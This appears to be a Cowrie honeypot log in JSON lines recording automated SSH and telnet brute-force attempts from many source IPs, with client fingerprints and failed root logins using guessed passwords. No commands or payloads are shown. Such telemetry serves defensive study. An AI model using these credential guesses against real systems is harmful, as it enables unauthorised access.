{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:c9:3a:23:dc:8e:3d:cc:61:ec:36:61:76:98:90:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDxQdmqVU2P7RxZmRvUzEeDEflOhzIZO0cqrWAUc+BsMA9/NGC8H18IIh/7JCPfccTDZ0Rne/GvhoHIsp+PjswhKe17xOnxS4I2NDhOwiI0j3VC0S42UH6EKrm3/+kv5XpsKIUfpiigupF0ctEyiMiVnJw2jmGYEEVwg8F9THEU6x5k2dunLGRprVLpq136kiQPfzjB3AE4tRd9z1pemWSlgkX5KCsP0NTshLopSYj/WWXdeLJ1pCs35aYA7CZbNsy0PlRQc4sNZEAYYx82H0Q6HQErpdX9ezgDn0D+0m4wpHSX1lecQbT0sS+Rfiqi0150pz+rJsQ6SIwFfsMKU9jwrtR4OwM8OwcMjv2Gbt4soMNKgSWiPkshEEud6y8p19ttiZ2uxC8rpK7fd+/dtv8Etzfg53YlPlzN0quB24TSXxzE11DA8EgKbQAQ8nwARLZI/+2f9SCtYSV0cqHXsdDd5SVa4G/75pdpcqLuW0n2vd9ktsGKIsOI/31qNiFkljJpWbIsr2g5OsbWwz7VHdzEgoNx/zu0u2I+ZUwy6EDVE5Yz1Z2naBhDgV4o8OTKLEONFlvfP1Pp3c22PP+ymzxVwngpLym+yViiFECXvDEbvLFdmvf8NJntkrVPgZlK6gdsRLdHNE5n2zYMgY2Q/Zv7DGcy85Lok9z5FFcVAh9rEw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:c9:3a:23:dc:8e:3d:cc:61:ec:36:61:76:98:90:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:38.134172Z","src_ip":"104.243.38.174","session":"d50eb47812ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:c9:3a:23:dc:8e:3d:cc:61:ec:36:61:76:98:90:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDxQdmqVU2P7RxZmRvUzEeDEflOhzIZO0cqrWAUc+BsMA9/NGC8H18IIh/7JCPfccTDZ0Rne/GvhoHIsp+PjswhKe17xOnxS4I2NDhOwiI0j3VC0S42UH6EKrm3/+kv5XpsKIUfpiigupF0ctEyiMiVnJw2jmGYEEVwg8F9THEU6x5k2dunLGRprVLpq136kiQPfzjB3AE4tRd9z1pemWSlgkX5KCsP0NTshLopSYj/WWXdeLJ1pCs35aYA7CZbNsy0PlRQc4sNZEAYYx82H0Q6HQErpdX9ezgDn0D+0m4wpHSX1lecQbT0sS+Rfiqi0150pz+rJsQ6SIwFfsMKU9jwrtR4OwM8OwcMjv2Gbt4soMNKgSWiPkshEEud6y8p19ttiZ2uxC8rpK7fd+/dtv8Etzfg53YlPlzN0quB24TSXxzE11DA8EgKbQAQ8nwARLZI/+2f9SCtYSV0cqHXsdDd5SVa4G/75pdpcqLuW0n2vd9ktsGKIsOI/31qNiFkljJpWbIsr2g5OsbWwz7VHdzEgoNx/zu0u2I+ZUwy6EDVE5Yz1Z2naBhDgV4o8OTKLEONFlvfP1Pp3c22PP+ymzxVwngpLym+yViiFECXvDEbvLFdmvf8NJntkrVPgZlK6gdsRLdHNE5n2zYMgY2Q/Zv7DGcy85Lok9z5FFcVAh9rEw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:38.137855Z","src_ip":"104.243.38.174","session":"d50eb47812ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:38.145479Z","src_ip":"104.243.38.174","session":"d50eb47812ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35354,"dst_ip":"10.17.0.5","dst_port":23,"session":"82cf6180f6a9","protocol":"telnet","message":"New connection: 192.119.13.58:35354 (10.17.0.5:23) [session: 82cf6180f6a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:57:44.664814Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":44892,"dst_ip":"159.203.135.109","dst_port":22,"session":"c342cc5a550e","protocol":"ssh","message":"New connection: 147.45.211.215:44892 (159.203.135.109:22) [session: c342cc5a550e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:58:22.657778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:58:22.662863Z","src_ip":"147.45.211.215","session":"c342cc5a550e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:58:22.840959Z","src_ip":"147.45.211.215","session":"c342cc5a550e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"victoria","message":"login attempt [root/victoria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:58:23.378990Z","src_ip":"147.45.211.215","session":"c342cc5a550e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":49520,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8d5bb79a5c3","protocol":"ssh","message":"New connection: 37.143.61.84:49520 (10.17.0.5:22) [session: b8d5bb79a5c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:58:24.183456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:58:24.282939Z","src_ip":"37.143.61.84","session":"b8d5bb79a5c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:58:24.394066Z","src_ip":"37.143.61.84","session":"b8d5bb79a5c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:58:24.561273Z","src_ip":"147.45.211.215","session":"c342cc5a550e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"navigator","message":"login attempt [root/navigator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:58:25.302614Z","src_ip":"37.143.61.84","session":"b8d5bb79a5c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:58:26.780968Z","src_ip":"37.143.61.84","session":"b8d5bb79a5c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.115.61","src_port":47770,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c8e2572e447","protocol":"ssh","message":"New connection: 170.106.115.61:47770 (10.17.0.5:22) [session: 9c8e2572e447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:58:33.799262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:58:33.804880Z","src_ip":"170.106.115.61","session":"9c8e2572e447","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:58:33.873389Z","src_ip":"170.106.115.61","session":"9c8e2572e447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc123","message":"login attempt [root/qazwsxedc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:58:34.181552Z","src_ip":"170.106.115.61","session":"9c8e2572e447","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.780269384384155,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:58:34.444966Z","src_ip":"192.119.13.58","session":"82cf6180f6a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:58:35.253471Z","src_ip":"170.106.115.61","session":"9c8e2572e447","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":54206,"dst_ip":"10.17.0.5","dst_port":22,"session":"86174142a3b2","protocol":"ssh","message":"New connection: 185.236.22.41:54206 (10.17.0.5:22) [session: 86174142a3b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:58:44.622818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:58:44.627871Z","src_ip":"185.236.22.41","session":"86174142a3b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:58:44.747499Z","src_ip":"185.236.22.41","session":"86174142a3b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gloria","message":"login attempt [root/gloria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:58:45.103156Z","src_ip":"185.236.22.41","session":"86174142a3b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:58:46.227015Z","src_ip":"185.236.22.41","session":"86174142a3b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":35996,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f449f78af5a","protocol":"ssh","message":"New connection: 193.32.162.151:35996 (159.203.135.109:22) [session: 7f449f78af5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:59:17.623044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:59:17.627583Z","src_ip":"193.32.162.151","session":"7f449f78af5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:59:17.729563Z","src_ip":"193.32.162.151","session":"7f449f78af5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:59:18.036396Z","src_ip":"193.32.162.151","session":"7f449f78af5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:59:19.140437Z","src_ip":"193.32.162.151","session":"7f449f78af5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":45822,"dst_ip":"159.203.135.109","dst_port":22,"session":"00b0c1b80219","protocol":"ssh","message":"New connection: 176.32.39.21:45822 (159.203.135.109:22) [session: 00b0c1b80219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:59:23.294977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:59:23.299510Z","src_ip":"176.32.39.21","session":"00b0c1b80219","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:59:23.418706Z","src_ip":"176.32.39.21","session":"00b0c1b80219","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4t5y6u7","message":"login attempt [root/q1w2e3r4t5y6u7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:59:23.779733Z","src_ip":"176.32.39.21","session":"00b0c1b80219","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:59:24.902566Z","src_ip":"176.32.39.21","session":"00b0c1b80219","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.115.61","src_port":34682,"dst_ip":"10.17.0.5","dst_port":22,"session":"689022954fc9","protocol":"ssh","message":"New connection: 170.106.115.61:34682 (10.17.0.5:22) [session: 689022954fc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:59:40.334661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:59:40.339514Z","src_ip":"170.106.115.61","session":"689022954fc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:59:40.408886Z","src_ip":"170.106.115.61","session":"689022954fc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer@2021","message":"login attempt [root/qwer@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:59:40.715122Z","src_ip":"170.106.115.61","session":"689022954fc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:59:41.786516Z","src_ip":"170.106.115.61","session":"689022954fc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":36970,"dst_ip":"10.17.0.5","dst_port":22,"session":"da5f71afb1de","protocol":"ssh","message":"New connection: 103.27.238.114:36970 (10.17.0.5:22) [session: da5f71afb1de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:59:41.920182Z"}
